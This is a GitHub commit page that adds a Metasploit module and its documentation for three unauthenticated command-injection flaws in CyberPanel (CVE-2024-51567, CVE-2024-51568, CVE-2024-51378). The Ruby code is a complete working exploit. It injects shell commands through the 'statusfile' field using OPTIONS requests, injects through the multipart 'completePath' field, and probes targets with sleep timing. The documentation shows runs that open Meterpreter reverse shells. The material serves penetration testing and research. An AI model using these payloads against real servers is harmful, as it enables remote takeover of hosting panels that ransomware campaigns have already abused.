Skip to content

Commit 8ac7348

Browse files
authored
Land rapid7#19608 CyberPanel Pre-Auth RCE
Adds a CyberPanel Pre-Auth RCE Exploit Module for (CVE-2024-51378 / CVE-2024-51567 / CVE-2024-51568)
2 parents 52ebbc1 + b8ec13e commit 8ac7348

File tree

2 files changed

+351
-0
lines changed

2 files changed

+351
-0
lines changed
Lines changed: 145 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,145 @@
1+
## Vulnerable Application
2+
3+
CyberPanel is an open-source web hosting control panel based on OpenLiteSpeed.
4+
This module exploits two pre-authenticated remote command execution (RCE) vulnerabilities found in certain versions of CyberPanel.
5+
6+
- **CVE-2024-51378**: The `getresetstatus` endpoint in `dns/views.py` and
7+
`ftp/views.py` in CyberPanel before commit `1c0c6cb` allows remote attackers to
8+
bypass authentication and execute arbitrary commands via `/dns/getresetstatus` or
9+
`/ftp/getresetstatus` by bypassing `secMiddleware`(which applies only to POST
10+
requests) and using shell metacharacters in the `statusfile` property.
11+
This vulnerability has been exploited in the wild as of October 2024 by PSAUX, affecting versions through 2.3.6 and the unpatched 2.3.7.
12+
13+
- **CVE-2024-51567**: The `upgrademysqlstatus` endpoint in `databases/views.py` in
14+
CyberPanel before commit `5b08cd6` allows remote attackers to bypass authentication
15+
and execute arbitrary commands via `/dataBases/upgrademysqlstatus`, also by
16+
bypassing `secMiddleware` and using shell metacharacters in the `statusfile` property.
17+
This vulnerability has similarly been exploited in the wild in October 2024
18+
by PSAUX, impacting versions through 2.3.6 and the unpatched 2.3.7.
19+
20+
- **CVE-2024-51568**: CyberPanel before 2.3.5 allows command
21+
injection via completePath in the ProcessUtilities.outputExecutioner() sink.
22+
This vulnerability includes unauthenticated remote code execution via shell
23+
metacharacters in the /filemanager/upload (aka File Manager upload) endpoint,
24+
exploiting shell metacharacters for arbitrary command execution.
25+
26+
These vulnerabilities allow attackers to execute commands on the server without needing authentication.
27+
28+
### Installation Instructions
29+
30+
To set up a vulnerable instance of CyberPanel for testing, follow these
31+
instructions on an Ubuntu 18.04 server (or later).
32+
The example below demonstrates installation on Ubuntu 18.04, though newer versions of Ubuntu should work as well.
33+
34+
1. First, install necessary dependencies and disable IPv6 to avoid potential network issues:
35+
36+
```bash
37+
sudo su -
38+
apt update && apt install -y curl wget
39+
sysctl -w net.ipv6.conf.all.disable_ipv6=1
40+
sysctl -w net.ipv6.conf.default.disable_ipv6=1
41+
```
42+
43+
2. Then, download and run the CyberPanel installation script:
44+
45+
```bash
46+
sh <(curl https://cyberpanel.net/install.sh || wget -O - https://cyberpanel.net/install.sh)
47+
```
48+
49+
3. During installation, choose the following options:
50+
- Install CyberPanel: Select option `1`
51+
- Install CyberPanel with OpenLiteSpeed: Select option `1`
52+
- Skip full installation (choose `n`)
53+
- Skip Postfix, PowerDNS, and PureFTPd installations
54+
- Skip Remote MySQL setup
55+
- Install CyberPanel version `2.3.4` when prompted
56+
- Decline Memcached and Redis installations
57+
- Decline WatchDog setup for Web service and Database service
58+
59+
## Verification Steps
60+
61+
1. Install CyberPanel as outlined above.
62+
2. Start `msfconsole`.
63+
3. Use the module path: `use exploit/unix/webapp/cyberpanel_preauth_rce_multi_cve`.
64+
4. Set the `RHOSTS` option to the target server’s IP.
65+
5. Run the exploit with the desired CVE (choose either `cve-2024-51567`, `cve-2024-51568` or `cve-2024-51378`).
66+
6. A successful exploitation should provide a shell on the target.
67+
68+
## Options
69+
70+
No option
71+
72+
## Scenarios
73+
74+
### Example: CVE-2024-51567 on CyberPanel 2.3.5 (Ubuntu 18.04)
75+
76+
To exploit `CVE-2024-51567` and achieve remote command execution:
77+
78+
```bash
79+
msf6 exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > set action CVE-2024-51567
80+
action => CVE-2024-51567
81+
msf6 exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > run http://192.168.1.16:8090
82+
83+
[*] Started reverse TCP handler on 192.168.1.36:4444
84+
[*] Running automatic check ("set AutoCheck false" to disable)
85+
[+] The target is vulnerable. Target is running CyberPanel and is vulnerable.
86+
[*] Sending stage (3045380 bytes) to 192.168.1.16
87+
[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 192.168.1.16:35194) at 2024-11-21 22:26:12 +0100
88+
89+
meterpreter > sysinfo
90+
Computer : 192.168.1.16
91+
OS : Ubuntu 18.04 (Linux 5.4.0-150-generic)
92+
Architecture : x64
93+
BuildTuple : x86_64-linux-musl
94+
Meterpreter : x64/linux
95+
meterpreter >
96+
```
97+
98+
### Example: CVE-2024-51378 on CyberPanel 2.3.5 (Ubuntu 18.04)
99+
100+
To exploit `CVE-2024-51378` and achieve remote command execution:
101+
102+
```bash
103+
msf6 exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > set action CVE-2024-51378
104+
action => CVE-2024-51378
105+
msf6 exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > run http://192.168.1.16:8090
106+
107+
[*] Started reverse TCP handler on 192.168.1.36:4444
108+
[*] Running automatic check ("set AutoCheck false" to disable)
109+
[+] The target is vulnerable. Target is running CyberPanel and is vulnerable.
110+
[*] Sending stage (3045380 bytes) to 192.168.1.16
111+
[*] Meterpreter session 5 opened (192.168.1.36:4444 -> 192.168.1.16:39820) at 2024-11-21 22:27:06 +0100
112+
113+
meterpreter > sysinfo
114+
Computer : 192.168.1.16
115+
OS : Ubuntu 18.04 (Linux 5.4.0-150-generic)
116+
Architecture : x64
117+
BuildTuple : x86_64-linux-musl
118+
Meterpreter : x64/linux
119+
meterpreter >
120+
```
121+
122+
### Example: CVE-2024-51568 on CyberPanel 2.3.4 (Ubuntu 18.04)
123+
124+
```bash
125+
msf6 exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > set action CVE-2024-51568
126+
action => CVE-2024-51568
127+
msf6 exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > run http://192.168.1.16:8090
128+
129+
[*] Started reverse TCP handler on 192.168.1.36:4444
130+
[*] Running automatic check ("set AutoCheck false" to disable)
131+
[*] CSRF Token retrieved: CtCqolh8EQHkik3J8sjbUxPemD9PN8j2cZ7QBIxtUN3zmHQ1sbSnXOCBVWr00kI7
132+
[*] CSRF Token retrieved: ExmQR7HciOpdsPRrh43NNjGNYaLbRb6pKnap4Z5onPfVGjPqCNFyehTAqIpBrSuB
133+
[+] The target is vulnerable. Target is running CyberPanel and is vulnerable.
134+
[*] CSRF Token retrieved: NMATUvqAxFW2bU5bnhvFf860BfFrj8DGMqtSXS81RbmxjifXo9sJCe1KM7933cIY
135+
[*] Sending stage (3045380 bytes) to 192.168.1.16
136+
[*] Meterpreter session 7 opened (192.168.1.36:4444 -> 192.168.1.16:46212) at 2024-11-21 22:37:00 +0100
137+
138+
meterpreter > sysinfo
139+
Computer : 192.168.1.16
140+
OS : Ubuntu 18.04 (Linux 5.4.0-150-generic)
141+
Architecture : x64
142+
BuildTuple : x86_64-linux-musl
143+
Meterpreter : x64/linux
144+
meterpreter >
145+
```
Lines changed: 206 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,206 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Module::HasActions
10+
include Msf::Exploit::Remote::HttpClient
11+
prepend Msf::Exploit::Remote::AutoCheck
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'CyberPanel Multi CVE Pre-auth RCE',
18+
'Description' => %q{
19+
This module exploits three separate unauthenticated Remote Code Execution vulnerabilities in CyberPanel:
20+
21+
- CVE-2024-51567: Command injection vulnerability in the "upgrademysqlstatus" endpoint.
22+
- CVE-2024-51568: Command Injection via the "completePath" parameter in the "outputExecutioner" sink.
23+
- CVE-2024-51378: Unauthenticated RCE in "/ftp/getresetstatus" and "/dns/getresetstatus".
24+
25+
These vulnerabilities were exploited in ransomware campaigns affecting over 22,000 CyberPanel instances, with the PSAUX ransomware being the primary actor in these attacks.
26+
},
27+
'Author' => [
28+
'DreyAnd', # Vulnerability discovery (CVE-2024-51567-8)
29+
'Valentin Lobstein', # Metasploit Module
30+
'Luka Petrovic (refr4g)' # Vulnerability discovery (CVE-2024-51378)
31+
],
32+
'License' => MSF_LICENSE,
33+
'References' => [
34+
['CVE', '2024-51567'],
35+
['CVE', '2024-51568'],
36+
['CVE', '2024-51378'],
37+
['URL', 'https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce'],
38+
['URL', 'https://refr4g.github.io/posts/cyberpanel-command-injection-vulnerability/'],
39+
['URL', 'https://github.com/DreyAnd/CyberPanel-RCE'],
40+
['URL', 'https://github.com/refr4g/CVE-2024-51378'],
41+
['URL', 'https://www.bleepingcomputer.com/news/security/massive-psaux-ransomware-attack-targets-22-000-cyberpanel-instances/'],
42+
['URL', 'https://gist.github.com/gboddin/d78823245b518edd54bfc2301c5f8882']
43+
],
44+
'Platform' => %w[unix linux],
45+
'Arch' => [ARCH_CMD],
46+
'Targets' => [
47+
[
48+
'Unix/Linux Command Shell', {
49+
'Platform' => %w[unix linux],
50+
'Arch' => ARCH_CMD
51+
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
52+
}
53+
]
54+
],
55+
'DefaultOptions' => {
56+
'SSL' => true
57+
},
58+
'DefaultTarget' => 0,
59+
'Privileged' => false,
60+
'DisclosureDate' => '2024-10-27',
61+
'Actions' => [
62+
['CVE-2024-51567', { 'Description' => 'Exploit using CVE-2024-51567' }],
63+
['CVE-2024-51568', { 'Description' => 'Exploit using CVE-2024-51568' }],
64+
['CVE-2024-51378', { 'Description' => 'Exploit using CVE-2024-51378' }]
65+
],
66+
'DefaultAction' => 'CVE-2024-51567',
67+
'Notes' => {
68+
'Stability' => [CRASH_SAFE],
69+
'Reliability' => [REPEATABLE_SESSION],
70+
'SideEffects' => [IOC_IN_LOGS]
71+
}
72+
)
73+
)
74+
75+
register_options([
76+
Opt::RPORT(8090)
77+
])
78+
end
79+
80+
def detect_cyberpanel
81+
res = send_request_cgi({
82+
'method' => 'GET',
83+
'uri' => normalize_uri(target_uri.path)
84+
})
85+
86+
return false unless res
87+
88+
html = res.get_html_document
89+
90+
paths = [
91+
html.at('link[href="/static/baseTemplate/assets/finalLoginPageCSS/allCss.css"]')&.[]('href'),
92+
html.at('img[src="/static/baseTemplate/cyber-panel-logo.svg"]')&.[]('src')
93+
]
94+
95+
return false unless paths.all?
96+
97+
paths.all? do |path|
98+
response = send_request_cgi({
99+
'method' => 'GET',
100+
'uri' => normalize_uri(target_uri.path, path)
101+
})
102+
response&.code == 200
103+
end
104+
end
105+
106+
def check
107+
return CheckCode::Safe('Target does not appear to be CyberPanel.') unless detect_cyberpanel
108+
109+
if test_vulnerability(action.name.downcase)
110+
CheckCode::Vulnerable('Target is running CyberPanel and is vulnerable.')
111+
else
112+
CheckCode::Safe('Target is running CyberPanel but does not appear to be vulnerable.')
113+
end
114+
end
115+
116+
def exploit
117+
execute_payload(action.name.downcase, payload.encoded)
118+
end
119+
120+
def execute_payload(action, injected_payload)
121+
endpoint = nil
122+
method = nil
123+
payload_data = nil
124+
headers = {}
125+
ctype = nil
126+
127+
case action
128+
when 'cve-2024-51567'
129+
endpoint = 'dataBases/upgrademysqlstatus'
130+
method = 'OPTIONS'
131+
payload_data = '{"statusfile": "/dev/null; %s #"}' % injected_payload
132+
133+
when 'cve-2024-51568'
134+
endpoint = 'filemanager/upload'
135+
method = 'POST'
136+
137+
csrf_token = get_csrf_token
138+
139+
post_data = Rex::MIME::Message.new
140+
random_domain = Rex::Text.rand_text_alphanumeric(8)
141+
random_complete_path = "/dev/null;#{injected_payload} #"
142+
random_filename = "#{Rex::Text.rand_text_alphanumeric(6)}.txt"
143+
random_content = Rex::Text.rand_text_alphanumeric(4)
144+
145+
post_data.add_part(random_domain, nil, nil, 'form-data; name="domainName"')
146+
post_data.add_part(random_complete_path, nil, nil, 'form-data; name="completePath"')
147+
post_data.add_part(random_content, 'text/plain', nil, "form-data; name=\"file\"; filename=\"#{random_filename}\"")
148+
payload_data = post_data.to_s
149+
150+
headers['X-CSRFToken'] = csrf_token
151+
headers['Referer'] = "#{datastore['SSL'] ? 'https' : 'http'}://#{datastore['RHOST']}:#{datastore['RPORT']}#{normalize_uri(target_uri.path, 'filemanager/upload')}"
152+
headers['Cookie'] = "csrftoken=#{csrf_token}"
153+
ctype = "multipart/form-data; boundary=#{post_data.bound}"
154+
155+
when 'cve-2024-51378'
156+
endpoint = "#{['ftp', 'dns'].sample}/getresetstatus"
157+
method = 'OPTIONS'
158+
payload_data = '{"statusfile": "/dev/null; %s #"}' % injected_payload
159+
160+
else
161+
fail_with(Failure::BadConfig, 'Invalid action selected')
162+
end
163+
164+
send_request_cgi({
165+
'method' => method,
166+
'uri' => normalize_uri(target_uri.path, endpoint),
167+
'data' => payload_data,
168+
'ctype' => ctype,
169+
'headers' => headers
170+
})
171+
end
172+
173+
def test_vulnerability(action)
174+
sleep_times = [rand(2..5), rand(2..5)].uniq.sort
175+
176+
test_payloads = sleep_times.map { |t| "sleep #{t}" }
177+
confirmed_payloads = []
178+
179+
test_payloads.each do |test_payload|
180+
start_time = Time.now
181+
182+
res = execute_payload(action, test_payload)
183+
184+
next unless res
185+
186+
elapsed_time = Time.now - start_time
187+
188+
match = test_payload.match(/sleep (\d+)/)
189+
confirmed_payloads << test_payload if match && elapsed_time >= match[1].to_i
190+
end
191+
192+
(confirmed_payloads & test_payloads).size == test_payloads.size
193+
end
194+
195+
def get_csrf_token
196+
res = send_request_cgi({
197+
'method' => 'GET',
198+
'uri' => normalize_uri(target_uri.path)
199+
})
200+
201+
csrf_token = res&.get_cookies&.match(/csrftoken=(\w+)/)&.captures&.first
202+
fail_with(Failure::NotFound, 'Unable to retrieve CSRF token.') unless csrf_token
203+
vprint_status("CSRF Token retrieved: #{csrf_token}")
204+
csrf_token
205+
end
206+
end

0 commit comments

Comments
 (0)